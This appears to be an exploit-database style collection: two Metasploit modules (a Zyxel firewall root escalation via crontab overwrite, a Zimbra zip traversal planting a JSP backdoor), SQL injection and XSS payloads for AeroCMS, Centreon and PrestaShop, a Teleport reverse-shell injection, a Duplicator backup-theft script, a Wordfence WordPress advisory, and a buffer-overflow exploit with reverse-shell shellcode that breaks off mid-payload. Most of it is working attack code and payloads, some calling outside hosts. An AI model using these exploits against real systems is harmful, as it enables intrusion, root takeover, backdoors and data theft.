<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Local<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Post::File<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Zyxel Firewall SUID Binary Privilege Escalation',<br /> 'Description' => %q{<br /> This module exploits CVE-2022-30526, a local privilege escalation vulnerability that<br /> allows a low privileged user (e.g. nobody) escalate to root. The issue stems from<br /> a suid binary that allows all users to copy files as root. This module overwrites<br /> the firewall's crontab to execute an attacker provided script, resulting in code<br /> execution as root.<br /><br /> In order to use this module, the attacker must first establish shell access. For<br /> example, by exploiting CVE-2022-30525.<br /><br /> Known affected Zyxel models are: USG FLEX (50, 50W, 100W, 200, 500, 700),<br /> ATP (100, 200, 500, 700, 800), VPN (50, 100, 300, 1000), USG20-VPN and USG20W-VPN.<br /> },<br /> 'References' => [<br /> ['CVE', '2022-30526'],<br /> ['URL', 'https://www.zyxel.com/support/Zyxel-security-advisory-authenticated-directory-traversal-vulnerabilities-of-firewalls.shtml']<br /> ],<br /> 'Author' => [<br /> 'jbaines-r7' # discovery and metasploit module<br /> ],<br /> 'DisclosureDate' => '2022-06-14',<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => ['linux', 'unix'],<br /> 'Arch' => [ARCH_CMD, ARCH_MIPS64],<br /> 'SessionTypes' => ['shell', 'meterpreter'],<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_MIPS64],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => [ 'curl', 'wget' ],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'MeterpreterTryToFork' => true,<br /> 'WfsDelay' => 70<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> end<br /><br /> # The check first establishes the system is a Zyxel firewall by parsing the<br /> # /zyinit/fwversion file. Then it attempts to prove that zysudo.suid can be<br /> # used by the user to write to otherwise unwrittable location.<br /> def check<br /> fwversion_data = read_file('/zyinit/fwversion')<br /> if fwversion_data.nil? || fwversion_data.empty?<br /> return CheckCode::Safe('Could not read /zyinit/fwversion. The target is not a Zyxel firewall.')<br /> end<br /><br /> model_id = fwversion_data[/MODEL_ID=(?<model_id>[^\n]+)/, :model_id]<br /> return CheckCode::Unknown('Failed to identify the firewall model.') if model_id.nil? || model_id.empty?<br /><br /> firmware_ver = fwversion_data[/FIRMWARE_VER=(?<firmware_ver>[^\n]+)/, :firmware_ver]<br /> return CheckCode::Unknown('Failed to identify the firmware version.') if firmware_ver.nil? || firmware_ver.empty?<br /><br /> test_file = "/var/zyxel/#{rand_text_alphanumeric(12..16)}"<br /> unless cmd_exec("/bin/cp /etc/passwd #{test_file}") == "/bin/cp: cannot create regular file '#{test_file}': Permission denied"<br /> return CheckCode::Unknown("Failed to generate a permission issue. System version: #{model_id}, #{firmware_ver}")<br /> end<br /><br /> suid_copy_result = cmd_exec("zysudo.suid /bin/cp /etc/passwd #{test_file}")<br /> unless suid_copy_result.empty?<br /> return CheckCode::Safe("zysudo.suid copy failed. System version: #{model_id}, #{firmware_ver}")<br /> end<br /><br /> # clean up the created file<br /> cmd_exec("zysudo.suid /bin/rm #{test_file}")<br /><br /> return CheckCode::Vulnerable("System version: #{model_id}, #{firmware_ver}")<br /> end<br /><br /> # no matter what happens, try to reset the crontab to the original state and<br /> # delete the backup file.<br /> def cleanup<br /> unless @crontab_backup.nil?<br /> print_status('Resetting crontab to the original version')<br /> cmd_exec("zysudo.suid /bin/cp #{@crontab_backup} /var/zyxel/crontab")<br /> rm_rf(@crontab_backup)<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> # this file will contain the payload and get executed by cron<br /> exec_filename = "/tmp/#{rand_text_alphanumeric(6..12)}"<br /> register_file_for_cleanup(exec_filename)<br /> cmd_exec("echo -e \"#!/bin/bash\\n\\n#{cmd}\" > #{exec_filename}")<br /> cmd_exec("chmod +x #{exec_filename}")<br /><br /> # this file will be a copy of the original crontab, plus our additional malicious entry<br /> evil_crontab = "/tmp/#{rand_text_alphanumeric(6..12)}"<br /> register_file_for_cleanup(evil_crontab)<br /> copy_file('/var/zyxel/crontab', evil_crontab)<br /> cmd_exec("echo '* * * * * root #{exec_filename} &' >> #{evil_crontab}")<br /><br /> # this is the backup copy of the original crontab. It'll be restored on new session<br /> @crontab_backup = "/tmp/#{rand_text_alphanumeric(6..12)}"<br /> copy_file('/var/zyxel/crontab', @crontab_backup)<br /><br /> # overwrite the legitimate crontab. this is how we get exectuion.<br /> print_status('Overwriting /var/zyxel/crontab')<br /> cmd_exec("zysudo.suid /bin/cp #{evil_crontab} /var/zyxel/crontab")<br /><br /> # check if the session has been created. Give it 70 seconds to come in.<br /> # The extra 10 seconds is to account for high latency links.<br /> print_status('The payload may take up to 60 seconds to be executed by cron')<br /> sleep_count = 70<br /> until session_created? || sleep_count == 0<br /> sleep(1)<br /> sleep_count -= 1<br /> end<br /> end<br /><br /> def exploit<br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>Description: SQL Injection via Links LIMIT clause<br /><br />Affected Versions: WordPress Core < 6.0.2<br /><br />Researcher: FVD<br /><br />CVE ID: Pending<br /><br />CVSS Score: 8.0 (High)<br /><br />CVSS Vector:CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H<br /><br />Fully Patched Version: 6.0.2<br /><br />The WordPress Link functionality, previously known as “Bookmarks”, is no longer enabled by default on new WordPress installations. Older sites may still have the functionality enabled, which means that millions of legacy sites are potentially vulnerable, even if they are running newer versions of WordPress. Fortunately, we found that the vulnerability requires administrative privileges and is difficult to exploit in a default configuration. It is possible that 3rd party plugins or themes might allow this vulnerability to be used by editor-level users or below, and in these cases the Wordfence firewall will block any such exploit attempts.<br /><br />Vulnerable versions of WordPress failed to successfully sanitize the limit argument of the link retrieval query in the get_bookmarks function, used to ensure that only a certain number of links were returned. In a default configuration, only the Links legacy widget calls the get_bookmarks function in a way that allows this argument to be set by a user. Legacy widgets involve additional safeguards, and the injection point of the query itself poses additional difficulties, making this vulnerability nontrivial to exploit.<br /><br />Description: Contributor+ Stored Cross-Site Scripting via use of the_meta function<br /><br />Affected Versions: WordPress Core < 6.0.2<br /><br />Researcher: John Blackbourn<br /><br />CVE ID: Pending<br /><br />CVSS Score: 4.9 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N<br /><br />Fully Patched Version: 6.0.2<br /><br />WordPress content creators, such as Contributors, Editors, Authors, and Administrators, have the ability to add custom fields to any page and post created. The purpose of this is to make it possible for site content creators to add and associate additional data to posts and pages.<br /><br />WordPress has several functions available to site owners to display custom fields created and associated with posts and pages. One of these functions is the the_meta function which retrieves the supplied post’s or page’s custom field data, which is stored as post meta data, through the get_post_custom_keys and get_post_custom_values functions. Once the custom fields for a post/page are retrieved, the function outputs the post meta keys and values data as a list. Unfortunately, in versions older than 6.0.2 this data was unescaped on output making it possible for any injected scripts in post meta keys and values to be executed.<br /><br />Due to the fact that any user with access to the post editor can add custom meta fields, users with access to the editor such as contributors could inject malicious JavaScript that executes on any page or post where this function is called.<br /><br />WordPress core does not call the_meta anywhere in its codebase by default. As such this vulnerability does require a plugin or theme that calls the the_meta function, or for this function to have been programmatically added to a PHP file for execution, so the vast majority of site owners are not vulnerable to this issue. The the_meta function is considered deprecated as of 6.0.2 and get_post_meta is the recommended alternative.<br /><br />The Wordfence Threat Intelligence Team deployed a firewall rule to help protect Wordfence Premium, Care & Response customers today. Wordfence Free users will receive the same protection in 30 days on September 29, 2022.<br /><br />Description: Stored Cross-Site Scripting via Plugin Deactivation and Deletion errors<br /><br />Affected Versions: WordPress Core < 6.0.2<br /><br />Researcher: Khalilov Moe<br /><br />CVE ID: Pending<br /><br />CVSS Score: 4.7 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N<br /><br />Fully Patched Version: 6.0.2<br /><br />The final vulnerability involves the error messages displayed when a plugin has been deactivated due to an error, or when a plugin can not be deleted due to an error. As these error messages were not escaped, any JavaScript present in these error messages would execute in the browser session of an administrator visiting the plugins page. This vulnerability would require a separate malicious or vulnerable plugin or other code to be installed on the site, which would typically require an administrator to install it themselves. In almost all cases where this vulnerability might be exploitable an attacker would already have a firm foothold on the vulnerable site.<br /><br />Our built-in XSS rule should block any attempts to generate crafted error messages based on user input to a vulnerable plugin, and the Wordfence scanner will detect any malicious plugins uploaded by an administrator.<br /><br />Conclusion<br /><br />In today’s article, we covered three vulnerabilities patched in the WordPress 6.0.2 Security and Maintenance Release. Most actively used WordPress sites should be patched via automatic updates within the next 24 hours, and any sites that remain vulnerable would only be exploitable under very specific circumstances.<br /><br />We have released a firewall rule to Wordfence Premium, Care, and Response users to protect against any exploits targeting the the_meta function and this rule should become available to Wordfence free users after 30 days, on on September 29, 2022.<br /><br />As always, we strongly recommend updating your site to a patched version of WordPress if it hasn’t been updated automatically. As long as you are running a version of WordPress greater than 3.7, an update is available to patch these vulnerabilities while keeping you on the same major version, so you will not need to worry about compatibility issues.<br /><br />Props to Khalilov Moe, John Blackbourn, & FVD for discovering and responsibly disclosing these vulnerabilities. Special thanks to Wordfence Threat Intelligence Lead Chloe Chamberland for collaborating on this post.<br /><br /></code></pre>
<pre><code>## Title: AeroCMS-v0.0.1 SQLi<br />## Author: nu11secur1ty<br />## Date: 08.27.2022<br />## Vendor: https://github.com/MegaTKC<br />## Software: https://github.com/MegaTKC/AeroCMS/releases/tag/v0.0.1<br />## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi<br /><br />## Description:<br />The `author` parameter from the AeroCMS-v0.0.1 CMS system appears to<br />be vulnerable to SQL injection attacks.<br />The malicious user can dump-steal the database, from this CMS system<br />and he can use it for very malicious purposes.<br /><br />STATUS: HIGH Vulnerability<br /><br />[+]Payload:<br />```mysql<br />---<br />Parameter: author (GET)<br /> Type: boolean-based blind<br /> Title: OR boolean-based blind - WHERE or HAVING clause<br /> Payload: author=-5045' OR 8646=8646 AND 'YeVm'='YeVm&p_id=4<br /><br /> Type: error-based<br /> Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or<br />GROUP BY clause (FLOOR)<br /> Payload: author=admin'+(select<br />load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''<br />OR (SELECT 7539 FROM(SELECT COUNT(*),CONCAT(0x717a6a6a71,(SELECT<br />(ELT(7539=7539,1))),0x7170716b71,FLOOR(RAND(0)*2))x FROM<br />INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mwLN'='mwLN&p_id=4<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: author=admin'+(select<br />load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''<br />AND (SELECT 6824 FROM (SELECT(SLEEP(5)))QfTF) AND 'zVTI'='zVTI&p_id=4<br /><br /> Type: UNION query<br /> Title: MySQL UNION query (NULL) - 10 columns<br /> Payload: author=admin'+(select<br />load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+''<br />UNION ALL SELECT<br />NULL,NULL,CONCAT(0x717a6a6a71,0x4f617a456c7953617866546b7a666d49434d644662587149734b6d517a4e674d5471615a73616d58,0x7170716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p_id=4<br />---<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/ir9bjt)<br /><br /><br /></code></pre>
<pre><code># Exploit Title: Stored XSS in name parameter in Centreon version 22.04.0<br /># Date: <br /># Exploit Author: syad, yunaranyancat, saitamang<br /># Vendor Homepage: Centreon<br /># Software Link: https://download.centreon.com/<br /># Version: 22.04.0<br /># CVE ID : CVE-2022-36194<br /># Tested on: Centos 7<br /><br />Centreon 22.04.0 is vulnerable to Cross Site Scripting (XSS) from the function Pollers > Broker Configuration by adding a crafted payload<br />into the name parameter.<br /><br /><br />go to this endpoint -> /centreon/main.get.php?p=60909 -> Pollers -> Broker Configuration -> Click Button "Add" and put the crafted payload below on section "Name" and save<br /><br />payload --> test"><body onload=prompt(document.cookie)><br /></code></pre>
<pre><code># Exploit Title: AP PAGEBUILDER Prestashop module <= 2.4.4 'product_all_one_img' , 'image_product' Blind SQL Injection<br /># Date: 24-08-2022<br /># Exploit Author: Mohamed Ali Hammami<br /># Vendor Homepage: https://apollotheme.com/<br />#Software Link : https://apollotheme.com/products/ap-pagebuilder-prestashop-module<br /># Version: 2.4.4<br /># Tested on: Windows 10<br />#CVE: CVE-2022-22897<br /><br />Parameters: product_all_one_img,image_product<br /><br />Payload: 1) or sleep(4) #<br /><br />Exploit:<br />http://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&leoajax=1&product_all_one_img=1)+or+sleep(4)%23&image_product=0&wishlist_compare=1<br />http://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&leoajax=1&product_all_one_img=1&image_product=1)+or+sleep(4)%23&wishlist_compare=1<br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'rex/zip'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::EXE<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::FileDropper<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)',<br /> 'Description' => %q{<br /> This module POSTs a ZIP file containing path traversal characters to<br /> the administrator interface for Zimbra Collaboration Suite. If<br /> successful, it plants a JSP-based backdoor within the web directory, then<br /> executes it.<br /><br /> The core vulnerability is a path-traversal issue in Zimbra Collaboration Suite's<br /> ZIP implementation that can result in the extraction of an arbitrary file<br /> to an arbitrary location on the host.<br /><br /> This issue is exploitable on the following versions of Zimbra:<br /><br /> * Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)<br /> * Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)<br /><br /> Note that the Open Source Edition is not affected.<br /> },<br /> 'Author' => [<br /> 'Volexity Threat Research', # Initial writeup<br /> "Yang_99's Nest", # PoC<br /> 'Ron Bowes', # Analysis / module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2022-27925'],<br /> ['CVE', '2022-37042'],<br /> ['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'],<br /> ['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'],<br /> ['URL', 'https://www.yang99.top/index.php/archives/82/'],<br /> ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'],<br /> ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'],<br /> ],<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Targets' => [<br /> [ 'Zimbra Collaboration Suite', {} ]<br /> ],<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',<br /> 'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/',<br /> 'TARGET_FILENAME' => nil,<br /> 'RPORT' => 7071,<br /> 'SSL' => true<br /> },<br /> 'DefaultTarget' => 0,<br /> 'Privileged' => false,<br /> 'DisclosureDate' => '2022-05-10',<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),<br /> OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),<br /> OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']),<br /> ]<br /> )<br /> end<br /><br /> # Generate an on-system filename using datastore options<br /> def generate_target_filename<br /> if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')<br /> print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')<br /> end<br /><br /> File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")<br /> end<br /><br /> # Normalize the path traversal and figure out where it is relative to the web root<br /> def zimbra_get_public_path(target_filename)<br /> # Normalize the path<br /> normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath<br /><br /> # Figure out where it is, relative to the webroot<br /> webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/')<br /> relative_path = normalized_path.relative_path_from(webroot)<br /><br /> # Hopefully, we found a path from the webroot to the payload!<br /> if relative_path.to_s.start_with?('../')<br /> return nil<br /> end<br /><br /> relative_path<br /> end<br /><br /> def exploit<br /> print_status('Encoding the payload as a .jsp file')<br /> payload = Msf::Util::EXE.to_jsp(generate_payload_exe)<br /><br /> # Create a file<br /> target_filename = generate_target_filename<br /> print_status("Target filename: #{target_filename}")<br /><br /> # Create a zip file<br /> zip = Rex::Zip::Archive.new<br /> zip.add_file(target_filename, payload)<br /> data = zip.pack<br /><br /> print_status('Sending POST request with ZIP file')<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1",<br /> 'data' => data<br /> )<br /><br /> # Check the response<br /> if res.nil?<br /> fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})")<br /> elsif res.code == 404<br /> fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable')<br /> elsif res.code != 401<br /> print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed")<br /> end<br /><br /> # Get the public path for triggering the vulnerability, terminate if we<br /> # can't figure it out<br /> public_filename = zimbra_get_public_path(target_filename)<br /> if public_filename.nil?<br /> fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?')<br /> end<br /><br /> register_file_for_cleanup(target_filename)<br /><br /> print_status("Trying to trigger the backdoor @ #{public_filename}")<br /><br /> # Trigger the backdoor<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(public_filename)<br /> )<br /><br /> if res.nil?<br /> fail_with(Failure::Unreachable, 'Could not connect to trigger the payload')<br /> elsif res.code == 200<br /> print_good('Successfully triggered the payload')<br /> elsif res.code == 404<br /> fail_with(Failure::Unknown, "Payload was not uploaded, the server probably isn't vulnerable")<br /> else<br /> fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: HTTP/#{res.code}")<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>Description:Teleport 9.3.6 is vulnerable to Command injection leading to Remote<br />Code Execution. An attacker can craft a malicious ssh agent<br />installation link by URL encoding a bash escape with carriage return<br />line feed. This url encoded payload can be used in place of a token and<br />sent to a user in a social engineering attack. This is fully<br />unauthenticated attack utilizing the trusted teleport server to deliver<br />the payload.<br /><br />Additional Information:https://goteleport.com/<br />https://github.com/gravitational/teleport<br />https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36633<br /><br />Vulnerability Type: otherCommand injection leading to Remote Code Execution<br /><br />Vendor of Product:Teleport - https://goteleport.com/<br />Affected software version: Teleport version < v10.1.2<br /><br />Affected Component:https://teleport.examplesite.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam <https://teleport.site.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam><br /><br />Attack Type:Remote<br /><br />Impact:Code Execution<br />Impact Other:This vulnerability allows an attacker to inject code into a bash script without authentication, and craft a legitimate link hosted on the teleport server to use in social engineering attacks. When a user executes the command to install an teleport SSH agent with the crafted link, it will install the teleport agent and without the users knowledge, execute malicious code in the background.<br /><br />Attack Vectors:An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.<br /><br />Example POC payload: https://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2f%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?method=iam <https://teleport.site.com/scripts/%22%0a%2fbin%2fbash%20-l%20%3e%20%2fdev%2ftcp%2f10.0.0.1%2f5555%200%3c%261%202%3e%261%20%23/install-node.sh?method=iam><br /><br />Decoded payload:<br />"<br />/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1 2>&1 #<br /><br />Patch information:https://goteleport.com/docs/changelog/#1012<br />https://github.com/gravitational/teleport/pull/14944<br />------------------------------------------<br /><br />Discoverers:<br />Brandon Roach & Brian Landrum<br /><br />------------------------------------------<br /><br /> <br /></code></pre>
<pre><code>## Title: WordPress Plugin Duplicator 1.4.7.2 - Unauthenticated Backup Download<br />## Author: nu11secur1ty<br />## Date: 08.23.2022<br />## Vendor: https://wordpress.org/<br />## Software: https://wordpress.org/plugins/duplicator/<br />## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2<br /><br />## Description:<br />The WordPress Plugin Duplicator 1.4.7.2 suffers from Unauthenticated<br />Backup Download, after an update from the 1.4.7.1 version.<br />The attacker can download all archive information from the system by<br />using this vulnerability!<br />Status: CRITICAL<br /><br />[+] Exploit:<br /><br />```python<br />#!/usr/bin/python<br /># Author nu11secur1ty<br />from selenium import webdriver<br />import time<br />import os<br /><br />print("Test if you can access the directory\n")<br />time.sleep(5)<br />os.system('curl http://pwned-host.com/wordpress/wp-content/backups-dup-lite/')<br />target=input("Give the name of the archive...\n")<br />driver = webdriver.Chrome()<br />driver.get('http://pwned-host.com/wordpress/wp-content/backups-dup-lite/'<br />+ target)<br /><br />```<br /><br />## Reproduce:<br />[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Duplicator%20%E2%80%93%20WordPress-Migration-Plugin-1.4.7.2)<br /><br />## Proof and Exploit:<br />[href](https://streamable.com/x0cvjh)<br /><br /><br /></code></pre>
<pre><code>I. VULNERABILITY<br />-------------------------<br />10-Strike Network Inventory Explorer Version 9.3 - Privilege Escalation through SEH based Buffer Overflow<br /><br /><br />II. VENDOR<br />-------------------------<br />10-Strike Network (https://www.10-strike.com/)<br /><br /><br />III. DESCRIPTION<br />-------------------------<br /><br />10-Strike Network Inventory Explorer until latest version (9.3) is vulnerable to a SEH based Buffer Overflow which leads to code execution or local privilege escalation. The vulnerable part of the program is the functionality to add computers from a text file.<br /><br /><br />IV. EXPLOIT<br />-------------------------<br /># Exploit Title: 10-Strike Network Inventory Explorer Version 9.3 - Privilege Escalation through SEH based Buffer Overflow<br /># Date: 16/08/2022<br /># Exploit Author: Ricardo Ruiz (@ricardojoserf)<br /># Vendor website: https://www.10-strike.com/<br /># Product website: https://www.10-strike.com/networkinventoryexplorer/<br /># Usage: Create a file with this script and upload it clicking "Computers" and "Add". It should pop a calculator<br /><br /><br />from struct import pack<br /><br /><br /># Bad chars are: \x09\x0a\x0d\x3a\x5c<br />badchars = (<br />b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"<br />b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3b\x3c\x3d\x3e\x3f\x40"<br />b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"<br />b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5d\x5e\x5f\x60"<br />b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"<br />b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"<br />b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"<br />b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"<br />b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"<br />b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"<br />b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"<br />b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"<br />b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"<br />b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"<br />#b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"<br />#b"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f\x10"<br />)<br /><br /># msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.49.81 -b "\x00\x09\x0a\x0d\x3a\x5c\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0e\x0f\x10" -v payload --smallest -f py<br />payload = b""<br />payload += b"\x89\xe3\xdb\xd0\xd9\x73\xf4\x5b\x53\x59\x49\x49"<br />payload += b"\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"<br />payload += b"\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"<br />payload += b"\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"<br />payload += b"\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"<br />payload += b"\x69\x6c\x79\x78\x4c\x42\x43\x30\x53\x30\x33\x30"<br />payload += b"\x51\x70\x6e\x69\x6b\x55\x30\x31\x69\x50\x61\x74"<br />payload += b"\x6c\x4b\x36\x30\x56\x50\x4c\x4b\x50\x52\x76\x6c"<br />payload += b"\x6e\x6b\x63\x62\x57\x64\x4c\x4b\x32\x52\x45\x78"<br />payload += b"\x34\x4f\x58\x37\x32\x6a\x54\x66\x56\x51\x49\x6f"<br />payload += b"\x6e\x4c\x45\x6c\x43\x51\x43\x4c\x74\x42\x34\x6c"<br />payload += b"\x51\x30\x69\x51\x5a\x6f\x76\x6d\x35\x51\x68\x47"<br />payload += b"\x4d\x32\x4c\x32\x32\x72\x33\x67\x4e\x6b\x62\x72"<br />payload += b"\x64\x50\x6e\x6b\x71\x5a\x65\x6c\x6e\x6b\x70\x4c"<br />payload += b"\x54\x51\x43\x48\x78\x63\x53\x78\x36\x61\x4a\x71"<br />payload += b"\x46\x31\x4e\x6b\x30\x59\x35\x70\x65\x51\x49\x43"<br />payload += b"\x4c\x4b\x50\x49\x34\x58\x59\x73\x47\x4a\x32\x69"<br />payload += b"\x6c\x4b\x66\x54\x6c\x4b\x76\x61\x69\x46\x75\x61"<br />payload += b"\x69\x6f\x6c\x6c\x69\x51\x5a\x6f\x64\x4d\x66\x61"<br />payload += b"\x6f\x37\x66\x58\x39\x70\x63\x45\x49\x66\x64\x43"<br />payload += b"\x73\x4d\x49\x68\x77\x4b\x51\x6d\x66\x44\x43\x45"<br />payload += b"\x5a\x44\x51\x48\x6c\x4b\x56\x38\x37\x54\x76\x61"<br />payload += b"\x7a\x73\x35\x36\x4e\x6b\x76\x6c\x30\x4b\x6c\x4b"<br />payload += b"\x46\x38\x47\x6c\x56\x61\x58\x53\x6e\x6b\x74\x44"<br 